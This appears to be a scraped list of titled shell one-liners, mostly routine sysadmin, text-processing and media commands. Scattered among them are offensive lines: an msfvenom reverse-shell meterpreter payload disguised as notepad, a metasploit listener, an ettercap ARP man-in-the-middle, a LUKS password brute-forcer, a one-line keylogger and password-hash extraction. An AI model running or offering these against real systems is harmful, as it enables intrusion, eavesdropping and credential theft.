sed /BEGIN/,/END/s/xxx/yyy/g input.txt
Frequency Sweep
l=500; x=500; y=200; d=-15;for i in `seq $x $d $y`; do beep -l $l -f $i;done
skipping five lines, at top, then at bottom
seq 1 12 | sed 1,5d ; seq 1 12 | head --lines=-5
Add another tty device using mknod command
sudo mknod /dev/ttyS4 c 4 68
Convert Windows/DOS Text Files to Unix
flip -u <filenames>
AIX : reset aixuser password lastupdate to now using perl
perl -e '$now=time; system "chsec -f /etc/security/passwd -s aixuser -a \"lastupdate=$now\""'
Read AIX local user encripted password from /etc/security/passwd
user=an_user awk "/^$user:\$/,/password =/ { if (\$1 == \"password\") { print \$3; } }" < /etc/security/passwd
Check if commands are available on your system
for c in gcc bison dialog bc asdf; do if ! which $c >/dev/null; then echo Required program $c is missing ; exit 1; fi; done
lsof - cleaned up for just open listening ports, the process, and the owner of the process
lsof -iTCP -sTCP:LISTEN
Extracting the audio part of a track as a wav file
mplayer -vc null -vo null -ao pcm <filename>
Print all words in a file sorted by length
for a in $(< FILENAME); do echo "$(bc <<< $(wc -m<<<$a)-1) $a";done|sort -n
Create an alias command that clears the screen and scroll back buffer (in putty and xterm)
alias clearscrollback='clear;printf %b "\033[3J"'
Display the specified range of process information
ps aux | sort -n -k2 | awk '{if ($2 < 300) print($0)}'
Find All Email Forwarders in Zimbra Mail Server
for i in `zmprov -l gaa | cut -f2 -d"@" | uniq -c | awk '{print$2}'`; do zmprov -l gaa -v $i | grep -i zimbraPrefMailForwardingAddress; done
Find IPv4 addresses in files from current directory
grep -R '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' *
extract ip address from ifconfig using
ifconfig wlan0 | grep "inet addr:" | awk '{print $2}' | sed -e 's/.*:/\n\n\n/g' | sed 's/\([0-9]\{1,3\}\.\)\{3\}[0-9]\{1,3\}/\t\t\t<--------= & =-------->\n\n\n\n\n/g'
Take screenshot of Android device using adb and save to filesystem
adb shell screencap -p | sed 's/\r$//' > FILENAME.PNG
shut of the screen.
pmset displaysleepnow
Place the argument of the most recent command on the shell
!$
Check spelling of word using regex
egrep "^compat.bility$" /usr/share/dict/words
git clone all user repos
curl -s https://api.github.com/users/tuxcanfly/repos | jq -r 'map(select(.fork == false)) | map(.url) | map(sub("https://api.github.com/repos/"; "git clone git@github.com:")) | @sh' | xargs -n1 sh -c]
zgrep with colour into less
zgrep -i --color=always "search" file.gz | less -R
change to the selected directory for zsh users
alias scd='dirs -v; echo -n "select number: "; read newdir; cd -"$newdir"'
View the octal dump of a file
od -vt x1 /tmp/spaghettifile
Report What Tape is in Autoloader Mailslot (using Barcode Label)
mtx -f /dev/sg13 status | grep EXPORT | cut -c 56-63
Print time and year of file in Solaris (or other Unix ls command that does not have a simple
perl -e 'foreach (@ARGV) {@T=stat($_); print localtime($T[8])." - ".$_."\n"}'
Search for classes in Java JAR files.
find . -name "*.jar" | while read line; do echo "##!!! Example "$line "; unzip -l $line; done | grep "^###\|you-string" |less
number files in directory according to their modification time
IFS=$'\n'; i=1; ls -lt *mp3 | cut -d ":" -f2 | cut -d " " -f2- | while read f; do mv "$f" $(echo "$i"."$f"); ((i++)); done
Command to import Mysql database with a progress bar.
pv -t -p /path/to/sqlfile.sql | mysql -uUSERNAME -pPASSWORD -D DATABASE_NAME
Check remote hosts server
curl -Is http://www.google.com | grep -E '^Server'
Remove dashes in UUID
UUID="63b726a0-4c59-45e4-af65-bced5d268456"; echo ${UUID//-/}
List prime numbers from 2 to 100
for num in `seq 2 100`;do if [ `factor $num|awk '{print $2}'` == $num ];then echo -n "$num ";fi done;echo
Removes all existing printers
lpstat -p | cut -d' ' -f2 | xargs -I{} lpadmin -x {}
Open (in vim) all modified files in a git repository
vim `git status | grep modified | awk '{print $3}'`
Auto complete options of a script, on tab press
_autoOptions() { local cur=${COMP_WORDS[COMP_CWORD]} COMPREPLY=( $(compgen -W "--fooOption --barOption -f -b" -- $cur) ) ;}; complete -F _autoOptions autoOptions
Turn off and Stop multiple linux services with for loop
for i in rpcbind nfslock lldpad fcoe rpcidmapd; do service $i stop; chkconfig $i off; done
Bruteforce dm-crypt using dictionary
cat dictionary.txt|while read a; do echo $a|cryptsetup luksOpen /dev/sda5 sda5 $a && echo KEY FOUND: $a; done
List Server IP address
ifconfig eth0 | grep inet | awk '{ print $2 }'
Print a cron formatted time for 2 minutes in the future (for crontab testing)
crontest () { date +'%M %k %d %m *' |awk 'BEGIN {ORS="\t"} {print $1+2,$2,$3,$4,$5,$6}'; echo $1;}
Recursively set ownership of the logged in user's home folder to the logged in user
loggedInUser="$(stat -f '%u %Su' /dev/console | cut -d' ' -f2)" && chown -Rfv "$loggedInUser" /Users/"$loggedInUser"
rsync over ssh as root
rsync -rlptgozP -e "ssh" --rsync-path="sudo rsync" user@nodename:/folder/ /folder
grep across gzip files and sort by numeric day & time
zgrep -i --color=always "string" files.gz | sort -k 2,3
converts all pngs in a folder to webp, quality can be choosed as a argument
pngwebp(){ arg1=$1 for i in *.png; do name=`echo "${i%.*}"`; echo $name; cwebp -q $1 "${i}" -o "${name}.webp" done }
send files via ssh-xfer
cat somefilehere.txt | ssh-xfer nametocallfile.txt -
Search gdb help pages
gdb command: apropos <keyword>
Check syntax of all PHP files before an SVN commit
for i in `svn status | egrep '^(M|A)' | sed -r 's/\+\s+//' | awk '{ print $2 }'` ; do if [ ! -d $i ] ; then php -l $i ; fi ; done
Overwrite local files from copies in a flat directory, even if they're in a different directory structure
for f in $(find * -maxdepth 0 -type f); do file=$(find ~/target -name $f); if [ -n "$file" ]; then cp $file ${file}.bak; mv $f $file; fi; done
DVD to YouTube ready watermarked MPEG-4 AVI file using mencoder (step 1)
mencoder -oac mp3lame -lameopts cbr=128 -ovc lavc -lavcopts vcodec=mjpeg -o dvd.avi dvd://0
cat a config file removing all comments and blank lines
grep -vh '^[[:space:]]*\(#\|$\)' <file>
Get Stuff.
curl "http://www.commandlinefu.com/commands/matching/$(echo "$@" | sed 's/ /-/g')/$(echo -n $@ | base64)/plaintext"
lookup a short url with curl
curl -I -L http://t.co/mQUxL6yS
Get ls to only show directories under .
ls -al | grep ^d
Top Ten of the most active committers in git repositories
git shortlog -s | sort -rn | head
Ping a range of numbered machines
c:\>for %t in (0 1 2 3 4 5 6 7) do for %d in (0 1 2 3 4 5 6 7 8 9) do ping -n 1 machine-0%t%d
Clear RAM cache
su -c 'sync; echo 3 > /proc/sys/vm/drop_caches'
Convert any encoding to UTF8
iconv -f $(file -bi filename.ext | sed -e 's/.*[ ]charset=//') -t utf8 filename.ext > filename.ext
Get name of running Window Manager
wmctrl -m | grep Name: | awk '{print $2}'
Show disk size of files matching a pattern, sorted in increasing size
find . -name '*.js' | xargs du -bc -h | sort -k1,1 -h
Update all git submodules
git submodule update --init --recursive
test and send email via smtps using openssl client
(sleep 1;echo EHLO MAIL;sleep 1;echo "MAIL FROM: <a@foo.de>";sleep 1;echo "RCPT TO: <b@bar.eu>";sleep 1;echo DATA;sleep 1;echo Subject: test;sleep 1;echo;sleep 1;echo Message;sleep 1;echo .;sleep 1;)|openssl s_client -host b.de -port 25 -starttls smtp
Get the running Kernel and Install date
uname -a;rpm -qi "kernel"-`uname -r`|grep "Install"
Serve one or more git repositories
git daemon --reuseaddr --verbose --export-all --base-path=/parent/of/bare/git/repos
Which files/dirs waste my disk space
du -aB1m|awk '$1 >= 100'
Show current folder permission recursively from /, useful for debugging ssh key permission
pushd .> /dev/null; cd /; for d in `echo $OLDPWD | sed -e 's/\// /g'`; do cd $d; echo -n "$d "; ls -ld .; done; popd >/dev/null
Sometimes you just want a quick way to find out if a certain user account is locked [Linux].
awk -F":" '{ print $1 }' /etc/passwd | while read UU ; do STATUS=$(passwd -S ${UU} | grep locked 2>/dev/null) ; if [[ ! -z ${STATUS} ]] ; then echo "Account ${UU} is locked." ; fi ; done
Remove comments and empty lines from a file
grep -v '^#\|^$' /etc/hdparm.conf
delete all trailing whitespace from each line in file
sed 's/[ \t]*$//' < <file> > <file>.out; mv <file>.out <file>
kills all php5-fcgi processes for user per name
pkill -9 -u username php5-fcgi
Grabs Open Files and Then Greps Them
lsof | grep "stuff"
faster replace sting with dd
:|dd of=./ssss.txt seek=1 bs=$(($(stat -c%s ./ssss.txt)-$(tail -n 2 ./ssss.txt|wc -c)))
Hibernate after 30minutes
sudo bash -c "sleep 30m; pm-hibernate"
Find all files matching 'name.xml' and search for 'text' within them
grep -nH "text" -r . --include *name.xml
Find Duplicate Files (based on size first, then MD5 hash)
find-duplicates () { find "$@" -not -empty -type f -printf "%s\0" | sort -rnz | uniq -dz | xargs -0 -I{} -n1 find "$@" -type f -size {}c -print0 | xargs -0 md5sum | sort | uniq -w32 --all-repeated=separate; }
Check fstab volumes and volumes mounted.
diff <(cat /etc/fstab | grep vol | grep -v "^#" | awk '{print $1}') <(df -h | grep vol)
Return the one-liner google response for queries like "12*24" or "what time is it in the uk"
google() { Q="$@"; GOOG_URL='https://www.google.com/search?q='; AGENT="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.152 Safari/537.36" elinks -dump "${GOOG_URL}${Q//\ /+}" | grep "\*" | head -1 }
Get Hardware UUID in Mac OS X
system_profiler SPHardwareDataType | awk '/UUID/ { print $3; }'
Get user's full name in Mac OS X
finger $(whoami) | awk '/Name:/ {print $4" "$5}'
Current directory disk usage by day for last 90 days in GB
for x in {0..90}; do { echo $x $(find . -type f -mtime $x -exec du -cs {} \; |awk -F " " '{sum+=$1} END {sum/=1048576}END{print sum,"G"}'); }; done
replace recursive in folder with sed
find <folder> -type f -exec sed -i 's/my big String/newString/g' {} +
svn diff $* | colordiff | lv -c
svn diff $* | colordiff | lv -c
Sometimes you just want a quick way to find out if a certain user account is locked [Linux].
getent shadow | while IFS=: read a b c; do grep -q '!' <<< "$b" && echo "$a LOCKED" || echo "$a not locked"; done
Averaging columns of numbers
function avg { awk "/$2/{sum += \$$1; lc += 1;} END {printf \"Average over %d lines: %f\n\", lc, sum/lc}"; }
Show all Storage Repositories on XenServer
xe sr-list
Check if SSL session caching is enabled on Google
gnutls-cli -V -r www.google.com |grep 'Session ID'
Speed Up WAN File Transfer With Compression
ssh 10.0.0.4 "gzip -c /tmp/backup.sql" |gunzip > backup.sql
Resolution of a image
identify image.jpg |grep -o "[[:digit:]]*x[[:digit:]]*" |tail -1
find file(s) on disk
find / -name 'tofind.sh' 2>/dev/null
Turn your monitor on or off or put into standby from the command line.
vbetool dpms [on|off|standby]
Run a command on all servers using func
func "*" call command run "uname -i"
test console colors
( x=`tput op` y=`printf %$((${COLUMNS}-6))s`;for i in {0..256};do o=00$i;echo -e ${o:${#o}-3:3} `tput setaf $i;tput setab $i`${y// /=}$x;done; )
Listen on an arbitrary port
nc -l <port-number>
encrypt, split and get ready for dvd a large file via tar and ccrypt
tar czf - /directory/to/tar | ccrypt -k yourpassword | split -b50m - /final/encrypted.cpt
cpanel umount virtfs mounts
for i in `cat /proc/mounts | grep /home/virtfs | cut -d ? ? -f 2 ` ; do umount $i; done
Prevent aggressive Hdd spindown in Laptop battery powered
sudo hdparm -B255 -S0 /dev/sda
Get all files of particular type (say, mp3) listed on some web page (say, audio.org)
wget -c -r --no-parent -A .mp3 http://audio.org/mp3s/
Debug gulp task
node-debug $(which gulp) task-name
get all my commands from commandlinefu
clear && curl --silent http://www.commandlinefu.com/commands/by/dunryc | grep "div class" | grep command |tr '>' '\n' | grep -v command |sed 's/.....$//'
find . -name "*.txt" | xargs sed -i "s/old/new/"
find . -name "*.txt" | xargs sed -i "s/old/new/"
Set the master volume to 90% (Ubuntu)
aumix -v 90
Sometimes you just want a quick way to find out if a certain user account is locked [Linux].
getent shadow | grep '^[^:]\+:!' | cut -d: -f1
Get IPv4 of eth0 for use with scripts
/sbin/ifconfig eth0 | grep 'inet addr:' | awk {'print $2'} | sed 's/addr://'
delete all leading and trailing whitespace from each line in file
sed 's/^[ \t]*//;s/[ \t]*$//' < <file> > <file>.out; mv <file>.out <file>
controls mpg321 play/pause/stop by signals
pkill -{signal} mpg321
list with full path
find $(pwd) -maxdepth 1 -name "*" -printf "%p\n"
copy public key
ssh-copy-id host
Lists all clients of a Squid proxy
awk '{a[$3]++} END {for(i in a) print i}' /var/log/squid/access.log
This little command edits your gitignore from anywhere in your repo
vim $(git rev-parse --show-toplevel)/.gitignore
How to find all open files by a process in Solaris 10
for i in `pfiles pid|grep S_IFREG|awk '{print $5}'|awk -F":" '{print $2}'`; do find / -inum $i |xargs ls -lah; done
Put files back together after encrypted with tar and ccrypt
cat file.gz.cpt *[a-z] | ccdecrypt -k yoursecretpassword | tar -xzf -
find an X11 window by its title and highlight it
xdotool search --name Thunderbird set_window --urgency 1 %@
TCP and UDP listening sockets
netstat -tunlapo
Shows which commands you use the most.
cut -f1 -d" " ~/.bash_history | sort | uniq -c | sort -nr | head -n 30
Erase Logs / Cache
bleachbit -l | egrep 'cache|log' | xargs bleachbit -c
Identify Movies and TV Series using find and regex
find . -type f -regextype posix-extended -regex '^.*[S|s|\.| ]{0,1}[0-9]{1,2}[e|x][0-9][0-9].*\.(avi|mkv|srt)$'
get all my commands in terminal
clear && sleep 5s && curl --silent "http://www.commandlinefu.com/commands/by/dunryc" | grep '<div class="command">'|sed 's/......$//'|sed 's/^.....................................//'|recode html..ascii|awk 'ORS="\n\n\n\n"'
Maven Install 3rd party JAR
mvn install:install-file -Dfile=<path-to-file> -DgroupId=<group-id> -DartifactId=<artifact-id> -Dversion=<version> -Dpackaging=<packaging> -DgeneratePom=true
Randomize lines (opposite of | sort)
cat ~/SortedFile.txt | perl -wnl -e '@f=<>; END{ foreach $i (reverse 0 .. $#f) { $r=int rand ($i+1); @f[$i, $r]=@f[$r,$i] unless ($i==$r); } chomp @f; foreach $line (@f){ print $line; }}'
Create thumbnail of PDF
evince-thumbnailer --size=600 book.pdf book.png
Function to check whether a regular file ends with a newline
end_w_nl() { [[ $(tail -c1 $1 | xxd -ps) == 0a ]] }
find str in in a directory which file extension is .php
ack --type=php <string>
quick rename
imv foo
AllInOne package maintainance
apt-get update && apt-get dist-upgrade -y --show-progress && apt-get autoremove -y && apt-get check && apt-get autoclean -y
print man pages as html to stdout
man -Hcat ls
Know status of Caps, Num and Scroll Lock on Netbook w/o Leds
xset -q | grep -e Caps
Randomly succeeding command
ran() { R=$((RANDOM%100)); if [ $R -gt "${1:-50}" ]; then echo FALSE; false; else echo TRUE; true; fi; }
Aliases to jump back n directories at a time.
alias ..='cd ..'; alias ...='cd ../../'; alias ....='cd ../../../'; alias .....='cd ../../../../'; alias ......='cd ../../../../../';
List recursively current directory files/directories in vim
find | vim -
Create mp4 from images
ffmpeg -i pic.%04d.png -c:v libx264 -vf fps=15 -pix_fmt yuv420p out.mp4
Download just html of a whole website
wget --mirror --random-wait --recursive robots=off -U mozilla -R gif,jpg,pdf --reject-regex '((.*)\?(.*))|(.*)' -c [URLGOESHERE]
Find Movies but NOT TV Series using find and regex
find . -type f -regextype posix-extended ! -regex '^.*[S|s|\.| ]{0,1}[0-9]{1,2}[e|x][0-9][0-9].*\.(avi|mkv|srt)$' \( -iname "*.mkv" -or -iname "*.avi"-or -iname "*.srt" \)
Print hugepage consumption of each process
grep -e AnonHugePages /proc/*/smaps | awk '{ if($2>4) print $0} ' | awk -F "/" '{system("cat /proc/" $3 "/cmdline");printf("\n");print $0; printf("\n");}'
Stop your screen saver interrupting your mplayer sessions
maxplayer (){ while :; do xte 'mousermove -4 20'; sleep 1s; xte 'mousermove 4 -20'; sleep 2m; done& mplayer -fs "$1"; fg; }
Get sunrise time for any city, by name
sunrise() { city=${1-Seattle}; w3m "google.com/search?q=sunrise:$city" | sed -r '1,/^\s*1\./d; /^\s*2\./,$d; /^$/d' ;}
Create and encode a reverse tcp meterpreter payload with shikata_ga_nai.
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.2 lport=4444 -e x86/shikata_ga_nai -i 5 -f exe -x ~/notepad.exe -k > notepod.exe
write cd/dvd with genisoimage and wodim
TSIZE=`genisoimage -R -q -print-size DIR` && genisoimage -R -J -V "DIR" "DIR" | wodim -eject -tsize=${TSIZE}s -
Capistrano deploy specific branch
cap -s branch=my_branch deploy
Ettercap MITM
sudo ettercap -T -Q -M arp -i wlan0 // //
shows whether your CPU supports 64bit mode
grep -q ' lm ' /proc/cpuinfo; [ $? -eq 0 ] && echo '64bit supported'
print node & node dependencies version
node --eval "var pv = process.versions;for(var k in pv){console.log(k, 'v' + pv[k])}"
Randomly succeeding command
ran() { [ $((RANDOM%100)) -lt ${1:-50} ]; }
Long listing of the files.
alias ll='ls -la'
transfer lvm image to another host
echo "dd start" | mail -s ready pete@example.com; dd if=/dev/system/machine-disk | ssh -c blowfish root@destination.example.com dd of=/dev/system/machine-disk ; echo "dd ready" | mail -s ready pete@example.com
replace part of image with cropped part of source
convert destination.png \( source.png -crop 120x300+650+75 +repage \) -gravity NorthWest -geometry +650+75 -compose copy -composite OUTPUT.png
Pretty print docker ps command
docker ps | perl -ple "s/\$/\n\n/g;s/\s{2,}/\n/g;s/(Up)/\\e\[32m\$1\\e\[0m/g;s/(Down)/\\e\[31m\\e\[5m\$1\\e\[25m\\e\[0m/g;s/^([^\n]+)/\\e\[1m\$1\\e\[0m/g;s/(\w+?)$/\\e\[4m\$1\\e\[24m/g" | more
Loops over files, runs a command, dumps output to a file
for f in *php; do echo $f >> ~/temp/errors.txt; phpcsw $f | grep GET >> ~/temp/errors.txt; done
Watch changeable interrupts continuously
watch -n1 'cat /proc/interrupts
p is for pager
p() { l=$LINES; case $1 in do) shift; IFS=$'\n' _pg=( $("$@") ) && _pgn=0 && p r;; r) echo "${_pg[*]:_pgn:$((l-4))}";; d) (( _pgn+=l-4 )); (( _pgn=_pgn>=${#_pg[@]}?${#_pg[@]}-l+4:_pgn )); p r;; u) (( _pgn=_pgn<=l-4?0:_pgn-$l-4 )); p r;; esac; }
See what apache is doing without restarting it in debug mode
pidof httpd | sed 's/ / -p /g' | xargs strace -fp
Set user passwords to username from partial password file
awk -F: '{print "echo "$1" | passwd --stdin "$1}' passwd
Monitor especific process with top
top -p `pgrep pidgin`
Recursively remove all empty directories
for foo in <list of directories>; do while find $foo -type d -empty 2>/dev/null| grep -q "."; do find $foo -type d -empty -print0 | xargs -0 rmdir; done; done
Amplify movie playback
mplayer -af volume=10.1:0 $movie
Download German word pronounciation as mp3 file
site=https://www.duden.de; wort="Apfel"; wget -O $wort.mp3 $(wget -O - "$site/rechtschreibung/$wort" | grep -o "$site/_media_/audio/[^\.]*\.mp3")
git diff external without additional script
git config --global diff.external 'bash -c "meld $2 $5"'
Copy to clipboard in addition to stdout (OSX).
alias t="tee >(pbcopy)"
get date time of foler/file created with du -csh
du -csh --time *|sort -n|tail
Docker - delete unused images
docker rmi $(docker images -a -q)
Sort Apache access.log by date and time
sort -s -b -t' ' -k 4.9,4.12n -k 4.5,4.7M -k 4.2,4.3n -k 4.14,4.15n -k 4.17,4.18n -k 4.20,4.21n access.log*
convert to jpg while keeping the file name
convert a.jpg png:a.jpg
Join lines and separate with spaces
echo `cat file.txt`
configure a network connection on RHEL7/CentOs7
nmcli con add type ethernet con-name eth0 ifname enp0s3 ip4 x.x.x.x/x gw4 y.y.y.y
Monitor ElasticSearch cluster health - Useful for keeping an eye on ES when rebalancing takes place
watch -n 1 curl -XGET 'http://localhost:9200/_cluster/health?pretty=true'
View latest apache access log
view `ls -1 access_log.* | tail -n 1`
Batch image resize
for a in `ls`; do echo $a && convert $a -resize <Width>x<Height> $a; done
Find duplicate dir in path
echo $PATH|tr : '\n'|sort|uniq -d
display embeded comments for every –opt, usefull for auto documenting your script
vim -n -es -c 'g/!!! Example "CommandParse/+2,/^\s\+esac/-1 d p | % d | put p | %<' -c 'g/^\([-+]\+[^)]\+\))/,/^\(\s\+[^- \t#]\|^$\)/-1 p' -c 'q!' $0
delete all leading and trailing whitespace from each line in file
sed 's/^\s*//;s/\s*$//' -i file
Extract every parted-files which had the same password
find . -name '*.part1.rar' -exec unrar e \{\} -pPASSWORD \;
Discover unoptimized MySQL tables and optimize them.
for table in $(echo "select concat(TABLE_SCHEMA, '.', TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA NOT IN ('information_schema','mysql') and Data_free > 0" | mysql --skip-column-names); do echo "optimize table ${table}" | mysql; done;
Start handler in metasploit to listen for reverse meterpreter connections
msfcli payload=windows/meterpreter/reverse_tcp lhost=192.168.1.2 lport=4444 E
list unique file extensions recursively for a path, include extension frequency stats
find /some/path -type f -and -printf "%f\n" | egrep -io '\.[^.]*$' | sort | uniq -c | sort -rn
Capture screen with timer
sleep 3;import -window root output.png
Recursively remove all empty directories
rmdir --ignore-fail-on-non-empty -p **/*(/^F)
Batch rename and number files
i=1; for f (*.jpg) zmv $f '${(l:3::0:)$((++i))}'$f
PHPUnit: Show the 5 slowest tests with their runtime
phpunit --log-json php://stdout | awk '$NF ~ '/,/' && $1 ~ /"(test|time)"/' | cut -d: -f2- | sed "N;s/\n/--/" | sed "s/,//"| awk 'BEGIN{FS="--"}; {print $2 $1}' | sort -r | head -n 5
最常使用的10个命令
history |awk '{print $3}' |awk 'BEGIN {FS="|"} {print $1}'|sort|uniq -c |sort -rn |head -10
docker get ip of container
docker inspect -f "{{ .NetworkSettings.IPAddress }}" $CONTAINERID
Gets the X11 Screen resolution
xrandr | sed -n '/\*/ s/\s*\([0-9x]*\).*/\1/ p'
Filesize in bytes
stat -c %s filename
Extract the URL of the first mp3 out of a podcast xml feed and add it it to current mpd playlist
mpc add `curl -s http://link.to/podcast/feed.xml | grep -o 'https*://[^"]*mp3' | head -1`
To recover and get back to your desktop's default window manager in Linux Mint 17.3.
wm-recovery
Iteratively change part of image
for i in *.png; do convert "$i" \( ../Source_dir/source.png -crop 120x300+650+75 +repage \) -gravity NorthWest -geometry +650+75 -compose copy -composite ../Dest_Dir/"$i" & done
all users with terminal sessions
ps axno user,tty | awk '$1 >= 1000 && $1 < 65530 && $2 != "?"' | sort -u
Find out how to say the first 66 digits of pi as a word
pi 66 | number
Puts every word from a file into a new line
sed -r 's/[ \t\r\n\v\f]+/\^J/g' INFILE > OUTFILE
Capture and re-use expensive multi-line output in shell
OUTPUT="`find / -type f`" ; echo "$OUTPUT" | grep sysrq ; echo "$OUTPUT" | grep sysctl ; echo "$OUTPUT" | less
Quick Battery Power Monitor
watch -n 5 "upower -d | grep energy -A 4"
Validate openssh key & print checksum
ssh-keygen -l -f [pubkey] | cut -d ' ' -f 2 | tr -ds '\n:' ''
Delete temporary LaTeX files (aka delete stuff only if corresponding source file exists)
rm -v *.(log|toc|aux|nav|snm|out|tex.backup|bbl|blg|bib.backup|vrb|lof|lot|hd|idx)(.e/'[[ -f ${REPLY:r}.tex ]]'/)
Generate random number with shuf
seq 10| shuf | head -1
rename multiple files with different name, eg converting all txt to csv
zmv '(*).txt' '$1.csv'
Losslessly combine all MP3s in a directory (e.g. an audiobook)
ffmpeg -i "concat:$(find . -name "*.mp3" | sort | tr '\n' '|')" -acodec copy ../$(basename $(pwd)).mp3 && mp3val -f ../$(basename $(pwd)).mp3
Add member to domain group
net group groupname username /add /domain
Get the URL for the git-annex webapp
grep URL ~/annex/.git/annex/webapp.html | tr -d '">' | awk -F= '{print $4 "=" $5}'
Split up SQL dump by table
split -p 'DROP TABLE IF EXISTS' dump.sql dump.sql-
analyze traffic remotely over ssh w/ wireshark
ssh root@server.com "tcpdump -i INTERFACE_NAME -U -nnn -s0 -w - 'port 80'" | /cygdrive/c/Program\ Files/Wireshark/Wireshark.exe -N mnNtCd -k -i -
Remove MAC OS autocreated files from zip/war archives
zip -d mambu.war __MACOSX/\* .
Import MySQL db to localhost.
ssh remote_user@remote_host 'mysqldump -h localhost -u username -ppass -B db_name | gzip -cf' | gunzip -c | mysql -uroot
One line keylogger
xinput list | grep -Po 'id=\K\d+(?=.*slave\s*keyboard)' | xargs -P0 -n1 xinput test
in current directory delete all files with ending
find . -name "*.bak" -type f -delete
Estimate an economic bitcoin-cli fee and display as sat/B with date time stamp
printf %g "$(bitcoin-cli estimatesmartfee 6 "ECONOMICAL" | jq .feerate*100000)";printf " sat/B estimated feerate for 6 confirmations as of $(date +%c)\nDivide by 100,000 to get btc/KB\n"
SFTP upload through HTTPS proxy
cat myFile.json | ssh root@remoteSftpServer -o "ProxyCommand=nc.openbsd -X connect -x proxyhost:proxyport %h %p" 'cat > myFile.json'
Dump an rpm's package details (besides the files)
rpm --querytags | egrep -v HEADERIMMUTABLE | sort | while read tag ; do rpm -q --queryformat "$tag: [%{$tag} ]\n" -p $SomeRPMfile ; done
change current directory permissions and only sub-directories recursively (not files)
find . -type d -exec chmod XXXX {} \;
Top 10 commands used
history | awk '{print $2}' | awk 'BEGIN {FS="|"}{print $1}' | sort | uniq -c | sort -nr | head
Change the primary group of a user
useradd -g linux anish && id
convert unixtime to human-readable
cat log | perl -ne 'use POSIX; s/([\d.]+)/strftime "%y-%m-%d %H:%M:%S", localtime $1/e,print if /./'
macports update
sudo port selfupdate ; echo '---------' ; sudo port upgrade outdated
Print file content in reverse order
tac filename.txt
Start a random channel from the uk site tvcatchup.com
randchannelurl=$(lynx -dump http://www.tvcatchup.com/channels.html | grep watch | sed 's/^......//'| awk 'BEGIN { srand() } int(rand() * NR) == 0 { x = $0 } END { print x }') && firefox -new-window $randchannelurl
Rewrap an AVCHD (MTS/M2TS) video as MOV
ffmpeg -i "input.mts" -vcodec copy -acodec pcm_s16le "output.mov"
Get ipv4 remote address bad score using wafsec.com free reputation service api
function ipscore() { local OLD_IFS="$IFS" IFS=","; local result="`curl -s "http://wafsec.com/api?ip=$1"`" && local results=(${result}) && printf -- '%s\n' "${results[@]}" | grep '"Score":' | cut -d':' -f2; IFS="$OLD_IFS"; }; ipscore ${target_ip}
Stream youtube videos
mplayer $(youtube-dl -f best -g "$url" 2>/dev/null)
displays an uncluttered list of the names of all variables and functions in the current environment, (without shell functions and definitions)
alias allvars=' ( set -o posix; set ) | less'
Insert a date before the suffix of all the json files in a directory
for i in `ls`; do mv "$i" "`echo $i | sed s/.json/_20160428.json/`"; done
Dump and compress a drive over ssh with current speeds
dd if=/dev/sdb | pv -rabc | pbzip2 -c1 | pv -rabc | ssh user@192.168.0.1 'cat > /dump.bz2'
Redirect port 80 to 8080
iptables -t nat -A PREROUTING -i eno12345678 -p tcp --dport 80 -j REDIRECT --to-port 8080
shortcut to immediately view any script with less
which script | xargs less
find all files that have 20 or more MB on every filesystem, change the size and filesystem to your liking
find / -type f -size +20000k -exec ls -lh {} \; 2> /dev/null | awk '{ print $NF ": " $5 }' | sort -nrk 2,2
find examples of multiline idioms in Linux drivers source code
ack --cc -i -A4 wait_event linux/drivers | less -i !!! Example "/ list_empty
Get an embedded Rust development environment set up without prompting
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | bash -s -- --default-toolchain nightly --component rust-analyzer-preview --component llvm-tools-preview --component rust-src --component rustc-dev -y
infile search and replace on N files
perl -pi -e's/foo/bar/g' file1 file2 fileN
Fibonacci numbers with awk
awk 'BEGIN {a=1;b=1;for(i=0;i<'${NUM}';i++){print a;c=a+b;a=b;b=c}}'
StopWatch, OnScreen version, blinking shily on all desktops
export I=$(date +%s); watch -t -n 1 'T=$(date +%s);E=$(($T-$I));hours=$((E / 3600)) ; seconds=$((E % 3600)) ; minutes=$((seconds / 60)) ; seconds=$((seconds % 60)) ; echo $(printf "%02d:%02d:%02d" $hours $minutes $seconds) | osd_cat -o 20 -d 1 -p bottom'
Cleanly quit KDE4 apps
kbuildsycoca4 && kquitapp plasma-desktop && kstart plasma-desktop
add a particular track to a playlist by looking for a part of its file name
find `pwd` -iname *SEARCH_STRING* >> ~/PLAYLIST_NAME.m3u
send email with attachment
mutt -s "Subject" -a attachment -- example@tutorialarena.com
What value should I set my TCP/IP MTU (Max. Transmission Unit) to?
pktsize=1516;for i in $( seq $pktsize -8 1450 ) ; do ping -M do -s $i -c 1 slashdot.org; done
BW gradient
yes "$(seq 232 255;seq 254 -1 233)" | while read i; do printf "\x1b[48;5;${i}m\n"; sleep .01; done
Get the file name having biggest size in directory.
ls -l| sort +4n|tail -1| awk '{print $NF}'
Compare local and remote files using SCP/VIM/DIFF
vimdiff local_dir1/local_file.xml scp://user@remote_host//remote_absolute_location/remote_file.xml
Change directories using sudo
sudo bash -c "cd /PATH/TO/THE/DIRECTORY;bash"
Create alias to quickly archive git HEAD in current directory.
alias ga='git archive --prefix=${PWD##*/}/ -o %{PWD##*/}-`git rev-parse --short HEAD`.tar.gz HEAD .'
Returns the N most recently modified files from anywhere 'below' (and including) the current working directory, in order, with details.
nmf() { find . -type f -printf '%T@ ' -print0 -printf '\n' | sort -rn | head -"$1" | cut -f2- -d" " | tr -d "\0" | tr "\n" "\0" | xargs -0 ls -Ulh; }
Run nohup background script background
nohup some_command/script.sh > /dev/null 2>&1&
Convert HTML to epub
pandoc -f html -t epub3 -o output.epub input.html
list size and directies in curretn folder
du -sh ./*/
Flush purge or clear all Varnish Cache (version >= 4)
varnishadm "ban req.url ~ ."
Remove CR from Windows- / DOS-textfiles
dos2unix file.txt
Get Futurama quotations from slashdot.org servers
curl -Is slashdot.org | sed -ne '/^X-[FBL]/s/^X-//p'
StopWatch, toilet version, amazing format inside terminal
export I=$(date +%s); watch -t -n 1 'T=$(date +%s);E=$(($T-$I));hours=$((E / 3600)) ; seconds=$((E % 3600)) ; minutes=$((seconds / 60)) ; seconds=$((seconds % 60)) ; echo $(printf "%02d:%02d:%02d" $hours $minutes $seconds) | toilet -f shadow'
Parse an RPM name into its components - fast
